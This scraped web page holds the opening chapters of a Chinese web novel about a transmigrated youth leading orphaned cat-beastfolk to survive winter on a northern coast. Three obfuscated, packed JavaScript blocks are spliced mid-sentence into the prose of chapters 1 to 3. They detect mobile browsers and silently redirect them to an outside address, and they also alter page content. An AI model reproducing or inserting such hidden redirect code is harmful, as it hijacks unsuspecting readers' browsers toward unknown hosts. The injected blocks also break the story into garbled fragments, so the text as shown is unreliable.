《我鱼呢[种田]》 1. 第 1 章 月格外的明,照得世界银白。 丛林之中,数个如谷堆般的低矮木房子里,兽人们聚集在一起。 死一样的寂静。 白争争坐在自己阿父身前,肩上的手抓得他生疼。 面色黑沉的雄兽人眉头紧皱,频频看向屋外。他急切叮嘱:“争争,你记住,沿着海岸往北走,一直走到有雪的地方才能停下。” “不准再回来!” 部落被入侵了。 比他们部落多数倍的兽人闯入,青壮年兽人、老年兽人全部奋力厮杀。 鼻腔的血腥味浓得令人作呕。 那月色也成了血色。 “追上来了!” 白争争咬紧牙关奋力背着崽子们跑。风声袭来,后背汗毛冷竖。 逃不开了。 绝望间,却被一掌推开。 利爪刺破兽人身躯,鲜血溅在脸上。白争争瞳孔骤缩—— “哥哥!” 白争争猛地坐起。 天还蒙蒙亮,眼中一团黑影。 是梦。 白争争胸口急速起伏着,冷汗从额角滑落。许久之后,意识慢慢清晰,僵直的背也塌了下去。 海浪汹涌,林鸟幽鸣。 树影随风摇晃,簌簌而动。 身旁苔藓上,黑色甲壳的小虫穿梭,隐隐冒出个带触须的脑袋。苔藓的孢蒴上还挂着露珠,闪着碎光。 白争争狠狠揉了下脸,手指颤抖,平复着心脏的隐痛与恐慌。 亚兽人背脊佝偻,薄薄一片。黑发黑眼,肤色透着没有血色的白。他腰上只围着树叶做的草裙,露出来的身躯上,满是枝叶刮出来的细长血痕。 有的已经结痂脱落,露出微粉的嫩肉,有的还挂着凝结的血珠。 “呜……”树洞外传来猫崽的泣声,稚嫩微弱。 白争争掐了下手心,拉回仓惶神思。 他钻出树洞,疾步出去,入目是高深密林,林外隐隐可见波澜的海水。 参天巨木下,干燥的树叶堆成了一个巨大的窝。才刚满月的猫崽趴在窝中,像只毛毛虫。 他软软啜泣着,窝边围了十几个同色的猫。只或大或小,眼中无措。 白争争大步靠近,小心托着软乎的小身子,抱在胸前。 猫崽惊动,耳朵贴在白争争胸口,听到平缓的心跳,才哼哼唧唧睁开眼。 “争争!” “争争你醒了。” 猫猫们围拢过来,有的将爪垫贴在白争争皮肤上,有的低下脑袋在他身上蹭蹭。再活泼些的,直接往他身上爬。 白争争笔直站立着当猫爬架,手指轻挠着怀里猫崽的脑袋。 “绒球饿了。” “那去海边找吃的!”额间一点白的猫忽然一变,成了额前一戳白发的人。 他长相介于少年与青年之间,比身量纤细的白争争壮实些,皮肤麦色,四肢紧实,有着薄薄一层肌肉轮廓。 他叫年,是这一队兽人当中,年岁第二大的。 其余猫兽人接二连三跟随他,变成人形后随手抓了几片树叶,用草茎在腰上围了一圈,几下没了影去。 白争争起身,将哄好的猫崽放进窝。里面还有三个不到一年的幼崽正在呼呼大睡。 他看幼崽乖巧不闹,才往海边去。 天很蓝,日光耀眼,但风却冷沁。 白争争原是个十八的少年,高考完收到心仪大学的录取通知书,放纵一夜,醒来就成了居住在海边丛林之中的林猫部落的猫兽人幼崽。 他有黑色的爪垫,溜圆的眼睛以及巴掌大的身形。 按照现在这幅身子的年龄来计算,他刚成年快一年,不到二十一岁。 他们部落的兽人兽形都小,成年的也不过黑足猫大。部落的兽人靠着在林中捕猎些小型动物跟捡些海鲜为生。 兽人可变做兽形,也可变做人形。 区别于他认知中的雄雌,这里的兽人还有亚兽人。即模样与雄兽人无异,只是身量纤薄些,但可以生崽的兽人。 白争争就是雄兽人与亚兽人孕育出来的。 兽人日子过得清贫,好在温馨和乐。但原始社会,丛林法则。部落之间的争斗从未停歇。 就在一个月前,他们部落被盯上了。 脑中不停回放着那晚的情景,白争争太阳穴抽抽地疼,脸上仿佛还残留着哥哥身上血液的温度。 “争争,你快点!” 白争争恍惚一瞬,脚步下意识加快。 他跟哥哥是族中选出来作为下一任族长与祭司培养的兽人。 那一晚,阿父察觉到其他部落的意图,但已经没有撤离的时间。他立即安排他跟哥哥带着部落的幼崽一起离开,并为他们拖着时间。 但那些兽人显然不愿意放过他们,追捕而来。 因此,哥哥被落下了,他带着崽子们侥幸逃脱。 他带出来的这些兽人都是比他还小的,成年的包括他在内,仅有三个。 兽人世界,每个部落的幼崽都被严密保护着,部落的食物首先供给的就是成年兽人与幼崽。 现在没了其他族人,要养活他们,难度可想而知。 当务之急,是带着他们活下去。 * 林猫兽人靠海而生,祖祖辈辈便知海中什么能吃,什么不能吃。 年已经跟一众幼崽捡起来了。 白争争出了林子,眼前便是碧海蓝天。 这一处海湾风浪小,潮水未退,但有一部分礁石裸露。礁石缝隙里的鱼虾蟹还有贝壳海螺,都在兽人们的食谱当中。 不过一会儿,海鲜就堆成一堆。 白争争看捡疯了的兽人,道:“回来了。” 不用再吆喝,兽人们就抱着食物往岸边跑。 他们一路逃出来,半路又遇上追捕。身上什么东西都没有带,连兽人们身上的兽皮裙,现在都是草裙。 火种也自然没有。 白争争钻入林子,捡起枯树枝跟干燥树叶。脱去树皮,又用石块儿在木枝上刮了一小捧碎末。 东西预备着,又去林子里找些石块儿。 归来的兽人们探头看着白争争动作,立马将海鲜扔做一堆,跑入林子里帮他搬石头。 白争争紧蹙的眉头微松,哑声道:“用石头垒个圈,免得火溢出来。” 年点头,当即搬着石头开干。 这些兽人当中,他力气最大。 惦记着幼崽在挨饿,白争争赶紧坐下,拿着树枝钻木取火。 树叶窝里的四个幼崽晃晃悠悠地爬了过来,四条腿倒腾得飞快。 兽人幼崽要一岁才可变人形,脱离父母怀抱。这四个崽子去哪儿还得抱着。 小腿上一软,幼崽趴在了上面,软乎乎的肚皮紧紧挨着他。 白争争脚轻轻往旁边挪了挪,推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165253|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着幼崽离木头远一些,手上快得要搓出火星子。 一旁垒石圈的兽人们头顶毛耳朵一竖,圆眼瞪大。 部落里一直保存着火种,用的时候直接引燃就可以了。他们还没见过这种方式。 白争争搓得手心发热,小腿肚上一疼,余光看去是几个猫崽小身子直往前倒,激动得站了起来。 他们爪垫虽嫩,指甲却尖。 白争争也紧张。 他紧盯木棍,耳边尽是兽人们小心翼翼的呼呼声。 忽的,一缕青烟颤颤巍巍飘起来。 “冒烟了,冒烟了!”兽人们激动得跺脚,抓着身边的干草树叶就往这边凑。 白争争搓得手疼。 见差不多了,赶紧抓过一旁的碎末,与干草团好后,凑近树枝凹槽里的火星子。 “呼——”他慢慢吹。 “呼——”好几个脑袋凑过来一起吹。 火星闪烁,落在火绒上。 白争争吹得面色泛红,连带着其他的兽人耳朵压低,鼓着腮帮子。 终于,火星蔓延,一簇小火苗噗嗤一下燃起。 “火!火来了,火来了!” 白争争赶紧往石圈里堆积的干草上放,青烟越烧越浓,最后橘色的火舌吞噬干草,轰的一下燃烧起来。 兽人们赶紧往里面加柴火。 白争争后脊一松,悄悄在腿上擦了擦火辣辣的手心,眼睛不离那火堆。 手心一软—— 几个猫崽争相凑近,伸出小舌头轻舔。 顿时,白争争心软得一塌糊涂。 他将几个猫崽抱起来,全放树叶窝里,挨个拍了拍脑袋顺毛。 “乖乖待着,马上就好。” 树枝引燃后,白争争赶紧将贝壳海螺这些带壳子的放进去,需要处理内脏的又拿到水边收拾干净。 没一会儿,香喷喷的烤肉香传出来。 扔进去的贝壳边缘滋滋冒着水花。 白争争道:“别烤糊了,赶紧吃。” 话落,兽人们拿着木棍开掏。 白争争捞出几个,隔着树叶剥开壳。里面的汁水微烫,肉已经缩卷。 挑出肉,放在干净的树叶上,随后送到几个还小的崽子身边。 看他们埋头吃得狼吞虎咽,耳朵一颤一颤的,白争争才回头去吃自己的。 刚坐下,就看刚刚离开的地方铺了一片大叶子,上面放着剥好壳的海螺肉、螃蟹肉,还有一整条鱼。 白争争看向其他幼崽。 他们双眼明亮,一脸期许。 “争争吃啊!” 白争争喉咙微涩,轻咳了声,默默吃上了这顿简陋的海鲜。 吃饱了,猫崽们相继打着嗝,扔了腰间的草裙一个个滚地变做猫崽,争前恐后朝着白争争涌来。 白争争去那树叶窝边坐着。 不一会儿,腿上,怀抱里,肩膀乃至脑袋上都堆满了猫猫。 他一下陷入了会自发热的软绒里,暖得舒服了,脑袋一埋,贴在了幼崽的毛毛上。 吃饱喝足,幼崽们就喜欢趴着不动。打个盹儿过去,再吃几顿,就又是一天。 但那是以前。 逃跑这些日子,他们在一个地方不敢停留太久。 白争争下巴陷入幼崽的毛毛中,目光微呆。 肩膀上,幼崽将自己团了团,小声问:“争争,我们还跑吗?” 2. 第 2 章 他们猫兽人身形小,跑得再快也赶不过人家腿长的跟长翅膀的。 想起自己阿父的嘱托,白争争继续带着幼崽们上路。 一个月后。 白争争带着他们从南到北,直到感觉到风中冰雪的气息,才停下脚步。 林猫部落居住在温暖的南部海域旁,一年四季温度适宜。贸贸然闯入北地雪原,幼崽们肯定受不了。 不能再走了。 这是海边的一座山。 山势平缓,林木还算茂密。但现下这个季节应该是秋末,树叶染了绯红。 山上溪涧沟壑众多,淡水充沛。 再旁处有大河绕山,流入海洋。河两岸,又形成了一片还算辽阔的平原。 海风呼啸,风浪阵阵。恶劣天气处,动物稀少,极少有依靠捕猎为生的大部落生存,反倒是适合作为他们的庇护之所。 白争争迅速将山头跑了一遍,随后决定,在这里定下。 他找到一处天然山洞,靠近较为平缓的海岸。在树木掩映中,正好背风。 山洞里气息不杂,只是些小动物来过。周遭也没其他兽人的气息,很安全。 这就是他们以后居住的地方了。 年蹲在白争争身边,猫的身形也只到白争争小腿高。他仰头打量着这洞穴。 忽然鼻尖一凉,他对眼看去,白白一片,几个呼吸间悄然融化。 沁凉的气息闯入鼻腔,年猛打了个喷嚏。 “下雪了!”幼崽们低呼。 白争争仰头,雪花纷纷扬扬,飘摇落下。 睫毛一颤,雪粒子挂在上面。 幼崽们惊奇地互相看着对方绒毛上的雪花,好奇地用爪子碰一碰,舌头舔一舔。 触及那冰凉,激动得闹做一团。 他们自出生起,就没见过雪。 幼崽欢腾,白争争却心中一凛。 不能再耽搁了。 要不赶紧收拾收拾山洞,储存食物,幼崽们活不过这个冬季。 他当即大步进入山洞。 洞里还算干燥,只生了些杂草,还堆积了些动物粪便。 他们出来有二十三个兽人。三个成年的,四个十七八岁即将成年的,四个连人形都变不了的小不点。 余下十二个当中,超过十岁的仅一半。 “年,带他们进来,别玩儿了。”开口的是第三个成年的兽人,清。 幼崽小,不知轻重缓急。 白争争看天色已晚,赶紧道:“清,你带十岁以下的兽人去捡些柴火回来。年!你带十岁以上的幼崽去海边找些食物回来!不要走远。” “知道了!” 白争争放下背着的几个猫崽,叫另四个快成年的兽人道:“风,你们分作两队,一队搬些石头进来。一队找些干草,越多越好。” 兽人应声而走,白争争将装猫崽的兽皮兜放在角落,兜里沉甸甸的,不仅有幼崽,还有路上捡来的盐。 四个幼崽趴在兽皮兜边缘,紧盯着白争争。 “争争,我们不走了吗?” 白争争找了根趁手的棍子,一边拔草,一边将洞里的泥土青苔戳掉。 他看了眼猫崽,安抚道:“不走了。” 山洞不算小,横宽有四五米,洞长十几米。 白争争铲了青苔,拔了枯草,又出去折了些树枝合并在一起,捆了一把简陋的扫帚,将洞中清理得干干净净。 扫过后,再生了火,把山洞熏了一遍,防止有什么毒虫。 这时候,少年兽人风搬着石块儿回来。 白争争指着洞中最深,道:“放那边,铺平。” 兽人来回多次,找足了石头堆在洞中。白争争将石头与洞壁隔着一点距离,堆到膝盖高处。 随后一层一层铺干草。 干草铺得有巴掌厚实。 将干草压严实了,才把幼崽放上去。 睡觉的地方有了,洞口还在呼呼灌风。 白争争让风几个少年歇着,看着幼崽,自个儿去扯了些藤条干草来,坐下就开始编藤门。 这时候,年跟清带着兽人回来了。 洞外传来拖拽树枝的动静,转头间,就听清问:“争争,这些干树枝放哪儿?” 白争争道:“折断,尽量弄短一点,直接沿着洞口的石壁砌高。” 林中最不缺的就是柴。 随处可见枯木和断落的树枝,捡一会儿就够好几顿做饭用。 清带着幼崽捡得多,白争争放下还没编好的门,抱了些木柴去洞中。 他在离石床两三米处挖了个浅坑,边缘粗粗用石块儿垒了一圈,做成个简易的灶口。 刚刚用过的火种保留着,用干树叶引燃,放上树枝,便开始处理年带回来的海鲜。 洞里一暖和,出去吹了好一阵风的兽人们围坐在火堆边。一个靠着一个,歪七扭八,目光涣散道:“这边好大的风……” “吹得我毛毛都乱了。” “脸都僵了。” “爪、爪爪都冻麻了……” 猫兽人们赶海的经验丰富,带回来的有海螺、小八爪鱼、海虹、海蛎、螃蟹以及一些巴掌大的鱼。 白争争有心做点热汤喝,但无奈没有工具。 安顿下来的第一顿,也只能将这些烤来吃。 洞内火光映照,亮如白昼。 清将木柴砌好,拿了白争争没弄完的藤条继续编藤门。他手巧心细,做这些手工活儿最是厉害。 年见了,屁颠屁颠凑过去。往他身边一坐,手臂与清紧挨着。 “清清,我帮你。” 清无视他,对白争争道:“这边冷,一道藤门防不住风。” 年挠头:“那就再做一道。” 清终于转头,看着年道:“嗯,那你做吧。” 白争争补充道:“用干草做,弄厚实点儿。” 年头顶的耳朵一耷,吹了下额前落下来的一戳白毛,抓着简陋的石块,出去砍合适的木棍去了。 晚饭很快就好,但兽人们看着一如从前的海鲜,提不起什么兴趣。 只填饱了肚子,立即将壳往火堆里一扔,趴上石床,无精打采挂着。 “我们不走了吗?” “争争说不走了。” “那我们什么时候才能回部落?” “不知道,争争没说。” “我想我阿爸了……” “我也想……” “小声点,不能让争争听见。” 说话的声音渐渐小了下去,白争争一直没敢抬头。 直到呼噜噜的声音传来,幼崽都睡熟了。 白争争一看,猫崽们堆成了一团儿。有的四爪朝天,摊着肚皮;有的脑袋埋在身.下,瞧不清是头是尾;更有贪暖和的,专往别的猫崽肚皮上挤,好不舒服。 柴堆被风吹得呼呼响,火光明明灭灭。 白争争几个兽人放低声音,连夜将两道门做了出来,立即安上。 门顶离山洞顶还有一点距离,当做通气的地方。 弄完后,几个兽人呵欠连连,变成兽形也不过三四斤的猫崽。 他几个轻巧一跃,跳上床,钻入猫崽堆里,不过片刻就睡得摊了肚皮。 白争争最后一个睡。 他先往火堆里添了几根粗木头,拢了拢带火星的草木灰,随后卧在了最边上。 他习惯人形,连兽人们最喜欢露出来的耳朵跟尾巴都鲜少往外展示。 一躺下,猫猫们寻着热源过来,顷刻堆了他一身。 虽没被子,但也不冷。 迷糊睡着时,忽想:还得准备过冬的兽皮毯。 睡及半夜,白争争仿佛在火上烤。 他还以为是火烧大了,赶紧爬起来,却无意间摸到身边猫崽的体温。 滚烫! 白争争瞬间清醒,看火堆里只剩下火星子,连忙添了几把柴。 洞中大亮,晃醒了清跟风。 “争争?”清挣扎着,踩着年的肚子爬起来。 白争争赶紧摸着发烫的猫崽子,抱在怀里,道:“清,幼崽生病了。” 明明赶了那么久的路,一个都没事,现在刚一歇下就发热了。 白争争唇抿成直线。 “清,你看着猫崽,我出去找草药。” “我跟你一起去!”风迅速爬起来,弄醒了另外三个伙伴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165254|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白争争不敢迟疑,叮嘱清看着幼崽,急急忙忙拿了火把出去。 清不敢再睡,将发热的猫崽抱紧。又伸手摸了摸其他的,竟然又拎出来三个。 他眼睛一红。 “年!”声线微颤,是怕极了。 这里没有祭司,要是幼崽出事…… “没事,肯定没事。”年麦色的面庞微肃,视线在山洞里转一圈,却没任何可以用的东西。 他道:“我去弄几块石板回来,等会儿争争能用。” 清点头,频繁摸着猫崽呼吸急促的小身子,眼里焦灼。 兽神保佑,幼崽没事! 好在不是冬季,白争争跟在哥哥身边也耳濡目染,认识些草药。 找到草药后,他迅速回来,洗干净捶成碎末,直接喂了猫崽。 还没巴掌大的小崽子,趴在腿上闭着眼睛细弱地哭,眼角的毛毛沾湿,嘴里轻轻喊着“阿爸阿父”。 白争争一听,便知道原因出在哪里。 这一路走来,他都吃不消,更何况是幼崽。 但路上他们没吭过一声,到了这地方,精神一松懈,加上气候偏冷,怎么不生病。 白争争没办法,只能哄着把草药灌进去。 好在兽人本来就要皮实一些,兵荒马乱了一整晚,幼崽们的状况终于好转。 几个兽人拖着疲惫的身子,才敢趴在床上打个盹。 …… 次日清晨,山间未飘雪,但浓雾缭绕。 打开门,那冷飕飕的风溜身而过,激起阵阵鸡皮疙瘩。 兽人们物资稀缺,自然往暖和的地方走才好生存。这冻人的地儿对兽人们而言,就有些恶劣了。 白争争起来时,往火堆里添了些柴。现在洞内又温暖起来,还在长身体的猫崽们贪睡,这会儿四仰八叉,睡得乱糟糟的。 清随后起了,看白争争站在洞口,翘着尾巴跑去。 轻巧一跃,趴在白争争肩膀。 “争争,你这么不冷吗?” “冷有什么办法,人形才好干活儿。” 风听见动静,一个叫一个,拉着余下三个年纪相当的少年醒来。 清跳下白争争肩膀,爬到床头,一爪按在还睡得打呼噜的年身上。 “干活儿了!” 年咕噜翻身,爪垫一压,四个爪抱住清。脑袋蹭了蹭,哼唧道:“清清,困。” 清爪子一勾,一下戳进年背上。 伴随着一声嚎叫,年蹦跳着醒来。 白争争眼里难得露出几分笑。 他确认没下雪,回身关上门,直接将年、清还有风那四个兽人叫来。 白争争道:“这边不比南边,冬季冷下来,要冻死兽人的。我们必须储存食物、柴火,保证幼崽们能熬过这个冬天。” 只要熬过去,白争争就有办法将他们养得白白胖胖。 “争争,要我们做什么,你说。”清目光坚定道。 清长相斯文秀美,眼如一汪清潭。头顶露出来的毛耳朵上,聪明毛格外长。 他与年都是刚成年三个月,但没有年的活泼,稳重更多。 白争争道:“清,你依旧找干树枝和干草,整个山洞两壁都要堆满。” “年,你暂且负责每日的捕猎。风四个跟你们一起,山里的蘑菇、野果、草茎……凡是能吃的,见到了也都采集回来,越多越好。但切记,不能走远。” 四个少年点头。 安排下去,兽人们立即行动。 白争争目送他们出了山洞,回头看上一眼,石床上的猫猫堆里已经支棱起几个小脑袋。 都是睡醒了的。 白争争道:“现在外面还冷,你们留在山洞,看着这些小不点。” “争争,我们也能干活。”几个崽子挣扎着从猫猫堆里爬出来,巴巴望着白争争。 白争争:“等会儿天气好一些,你们再听安排。” 年纪小一点的崽子体质不比他们,昨晚的情况让白争争还有些后怕。 幼崽闻言,只好趴下来,耸着鼻尖一动不动,只拿圆溜溜的眼睛看他。 白争争说完,拉上门,独自一人向着河边跑去。 3. 第 3 章 这山旁有条河,不知从哪里流过来的。 河畔有很多散落的石块,还有沉积下来的泥土。 白争争挖了一块细看,是黄土,土质细腻,杂质也少。又随手捏了捏,极易成型。 他打算烧口陶锅出来。 冬日来了,兽人们喝水直接喝溪水,寄生虫多不说,太冷的喝多了拉肚子。还有平日的吃饭,不能总烤着吃。 再有昨晚那情况,烧个热水都不成。 选定了土,白争争就直接开始挖。 他身上只围着一张草裙,露出的两条腿细长,白皙的皮肤被吹得泛红。 白争争不敢耽搁,用手加木棍刨出一方泥土后,当即往洞中运。 幼崽们陆续醒来,在石床上你追我赶,跑来跑去。见白争争搬了几趟泥进来,面露不解。 “争争,要土做什么?” “烧陶。” 白争争靠近床边,挨个将昨晚生病的幼崽抱起来检查了一遍。兴许是不舒服,一个个都没精神,蔫头巴脑的。 不过抬手,那小脑袋还是会追着手来。 确保这几个没升温,白争争又抓了其他的幼崽一一查看。 幼崽们知道他在做什么,安安静静,甚至一个追着一个尾巴排起来。毛毛脸都挡不住期待,等着白争争轮到自己。 摸到后头,直接就成了逗猫现场。 不过还有正事要做,白争争放下幼崽,叮嘱道:“要是不舒服,赶紧跟我说。” “争争,再摸摸。”幼崽歪着个脑袋来。 白争争撸了一把,不怎么舍得地继续坐到那泥堆边。 部落原也是有陶器的,不过这东西很稀缺,只有祭司那儿有几个。 为了保证烧出陶器的成功率,挖回来的河泥不能直接用,还需要淘洗。 白争争先留出一部分,把洞中半成品的灶用泥土糊了一层。余下的挑选出能碎石块儿,然后移到洞口附近的溪沟里。 他在溪沟旁挖了个坑,坑里用石块砸平,嵌入碎石,防止水流进来后土块坍塌。 随后再将河泥搬进去,引进溪水。 待水满,咬咬牙,直接跨了进去。 幼崽们待不住,蹦跳着跑出来,看白争争站在水中,小腿冻得通红,慌张冲着他跑来。 “争争,冷!” 白争争脚下用力踩,冷得一颤:“马上就好。” “争争……”幼崽们急得围着水坑团团转,白争争看他们都快哭了,赶紧分离他们的注意力。 “你们再帮我挖两个坑,像我这样的。” 幼崽顿时不哭了,找准了位置,埋头开干。 河泥洗出来的浑水舀出来,放另一个坑中。怕河泥不够,白争争又去挖了些回来。 之后就是淘洗,沉淀,反反复复,最后就会得到一块细腻软乎的黄泥。 正干得起劲儿,年带着猎物回来了。 白争争腾不出手,对后面回来的清道:“清,你先弄些食物让幼崽吃。” 清点头,走近看着那浑浊的泥坑。 “做陶吗?” 白争争点头。 “大石锅做不出来,只能试试做陶锅。” 那边洞里开火做饭,一群没事干的崽子被清拎走了。白争争从坑里出来,赶紧进去烤火。 等两三日后,洗出来的河泥半干,就可以取出来。 这种淘洗过后的细腻原料制成的陶器细密光滑,可以做碗,但不耐高温。还需要在里面加些细砂、贝壳粉、炭粒等等,做成粗陶,才能遇热不破,用来做炊具。 等到白争争把土调好,已经是五日后了。 这几日,清带着兽人囤柴,已经囤了一石壁。 年和风几个负责找食物,也没让幼崽们饿着,还存下了不少。 洞口牵出了草绳,绳子上挂着正在风干的海鱼、海菜,以及一些山里的小兽……洞口摆着的大树叶上,去壳的螺肉、海蛎肉、海虾已经风干得小了一圈。 也正是如此,白争争才能花了全部精力,摆弄这些泥。 黏土调制好,便是做胚。 为了保证形状,白争争直接将泥搓成长条,一圈一圈盘绕,再抚平表面。 至于碗这些,就让崽子们自己玩儿去。 弄好了形,放在阴凉通风处阴干,随后就得烧。 烧陶最快捷的方法,就是堆烧,但成功率跟陶器质量往往不太行。 白争争没人力,没工具,也没时间挖个窑出来,干脆选个折中的法子,用薄壳陶窑。 即在木柴上糊上一层泥,既能更好控制温度,又能减少燃料消耗。 做了决定,白争争弄了柴,搬去海边空旷地。 他叫上清,两人小心翼翼捧着陶锅搬出来。后头的猫崽们也搬着自己做的碗,慢吞吞走在后头。 干柴架好,陶坯放置完,所有兽人一起往上面糊泥。 白争争从洞里取了火,点燃后便在前头坐下。猫崽围拢来,帮他暖着身体。 他抱着两个,肩上挂着四五个,头顶趴着一个,腿更是被毛绒绒淹没。 他看向跟前的清还有年。 “木柴还不够,还要再捡捡。” 清点头道:“附近地面都捡得差不多了,不然就再走远一些,不然就砍树上的。” 年当即道:“换我去找柴,你跟风他们一起捕猎。” 说完,两人看向白争争。 白争争道:“行。清,我看年他们找的野菜不多,你再多找找。” “好。”清道。 部落里,一般是雄兽人负责采集,雌兽人跟亚兽人负责采集。清对植物比年要熟悉些,这样换了也合理。 抽空安排完活儿,白争争就让他们带幼崽回去,自己守着这火堆烧。 薄壳陶窑烧的时间长,一般是十二个小时以上。 白争争抬头看了眼头顶灰蒙蒙的太阳,估摸着要烧一整夜去。他别的不多,耐心足够。 日落西斜,气温骤降。 好在这火堆跟前,白争争跟捧着个炉子似的。能熬得住。 晚饭是清送过来的,白争争吃完继续守着,看升起来的月估摸着时间。 天彻底黑下,白争争听着海浪声,撑着下巴看着火发呆。 身后窸窸窣窣,听那声音就知道是猫崽子。 他没动,等到猫崽离自己距离近了,忽然转身。 “喵!”幼崽们自己吓了一跳,齐齐炸毛。 白争争弯眼,眉目灿烂。 这是自逃跑以来,他头一次笑得开怀。 “不睡觉,跑过来干什么?” 一堆的猫崽纷纷扑上来,黏糊糊地在白争争身上拱着脑袋。 “争争不睡,我们不睡。” 白争争看向落在后头的清跟年,示意他们将猫崽带回去。清摇头,打着呵欠坐在白争争身边。 “他们不放心你。” “我也不放心。” 年道:“今晚干脆就这么睡了,又不是没在外面睡过觉。” 睡是不可能睡的。 白争争脸一沉,猫崽自己就跑了回去。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165255|165102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海浪浮沉,梦境与现实一时间分不清楚。白争争脑袋一重,差点就扑在已经烧完了的火堆上。 他睁眼,就看到了海面上喷涌而出的金红。 海鸟齐飞,浩荡如织。海浪喧腾,应喝着红日的热烈。 白争争坐在朝阳下,面容沉静,发丝泛着柔光。 “争争!” 天才亮,幼崽争先恐后跑出来了。白争争抿唇,想挨个儿收拾收拾。 “早上冷,出来干什么?” “不冷!” 白争争不跟他们废话,起身看泥壳里的温度已经降下去,他用木棍戳开外层的灰烬,里面的陶器露出面来。 幼崽们惊呼凑近,没来得及高兴,就听啪嗒一声—— 裂了! 白争争心肝一颤。 没事,还有两个。 他一鼓作气,全给掏开来。 清见状,赶紧跟着白争争清点。 他们一共堆烧了三个陶锅,余下的就是猫崽们做的陶碗。稀奇古怪,大小不一。 伴随着猫崽们或啊或呜的捧场声中,所有东西被捧了出来。 三个陶锅,一个刚掀开的时候就是破的,另一个上面也有裂痕,白争争装水试了试,虽然不漏水,但也烧不得。 好在有那么一个是好的。 除开这些,幼崽们做的碗倒是令人惊奇。那些乱七八糟的碗十个里有八个都是好的。 白争争总算放下心来。 “东西搬进去。” 幼崽们依言,精准找到自己的碗。本是用牙叼着,发现嘴巴难受,立即变做人形,抱着就光屁股往洞里冲。 白争争看得心惊胆战。 “这么冷,变回去!” 白争争急得破了嗓,清在他身后闷笑了声。 白争争眉一横,清立即转头,抱着陶锅就走。 朝霞红透,映遍漫山红叶。 天气总算暖和起来。 回到山洞,白争争当即把陶罐洗了,放在火上。 兽人们看着他拿石片从外面挂着的小兽肉身上刮下来一点肥油,随后扔进陶罐中,用木棍戳着到处乱抹。 “争争,你干嘛?” “开锅。陶锅表面有气孔,内外抹上油脂,能防止渗水开裂,用得更久。” 兽人们似懂非懂地点脑袋。 “年,你用木棍挖个长勺出来。清……” “我做筷子!”清抢先一步道。 锅制好,静置一晚,明天就能用。 陶锅做完,了了白争争一桩心事。但幼崽们刚刚光屁股在外跑,又让他生起迫切感。 匆匆吃过早饭,白争争就跟清一起出去捕猎。 木柴不用怎么发愁,年已经上树砍去了。 食物还不够,就算这边冬季才四个月,那还差得多。 但这片山到底不如南边,连续三日,抓回来的小兽屈指可数。那些皮毛合起来,才堪堪够做两身衣服。 不够。 白争争暗自发着愁。 山洞中,陶锅里滚动着灰鸟肉。 灰鸟有斑鸠大小,全身灰毛,是林猫兽人们最主要的肉食来源。 这种鸟随处可见,但不好捕捉。也就林猫们眼疾手快,能抓得住。 白争争拨弄着锅中,心念一动。 为什么他独独执着于兽皮呢? 鸟绒,准确来说,羽绒不可以吗? 林猫兽人们别的不行,捕鸟技术可是一等一的。 而这海边,别的都缺,就海鸟成群。 4. 第 4 章 “争争,喝汤。” 刚从陶锅里舀出来的灰鸟汤,混着海鲜炖煮出来的。汤色清亮,带着淡淡的咸味,味道极鲜。 这是自陶锅做好,兽人们最喜欢的食物。 白争争拿着自个儿的碗去锅边,清负责舀汤。 为了让幼崽吃得饱些,汤里不止有海鲜与鸟肉,还放了些紫皮根。 拳头大小的块根,表面凹凸不平,外皮紫褐色,肉是白色带紫。 干吃微脆,涩甜。 吃完后有一种吃了一口未成熟柿子一样的涩感。 不过放在汤里炖煮,或是烤着吃,就跟红薯一样,软糯绵密,只剩下淡淡的甜味儿。 这个季节正是紫皮根收获的季节。 过来快十天,兽人们挖出来的紫皮根已经堆满了山洞角落。 白争争端着用料十足的肉汤,在火堆旁坐下。 天气越来越冷了,幼崽们渐渐也不愿意往外面跑。白争争怕他们再出现上次那样的情况,也不常叫他们出去干活。 吃过饭,幼崽懒散趴在床上,互相舔毛。 白争争将这些日子积攒起来的兽皮堆积到一起,掏了些草木灰,去了溪边。 蚊子再小也是肉。 这些兽皮缝补在一起,勉强能凑出一张兽皮毯出来。 清见状,紧随而出。 山洞临山靠海,附近溪涧众多。 水中裸露着光滑平整的石头,白争争搬了几块上岸,将兽皮放进水中泡软了,摊在石板上,撒了草木灰搓揉。 清在一旁蹲下,用石片将兽皮里挂着的碎肉清理干净。之后将兽皮放溪水里涤荡。 夕阳沉寂,风声始终吵嚷着。 那树枝上的叶片扑簌簌地往下坠落,像色彩斑斓的蝴蝶。 清仰头看了眼,见那红叶如今早已大半离了枝头,树枝快要光了。看着都心中不安。 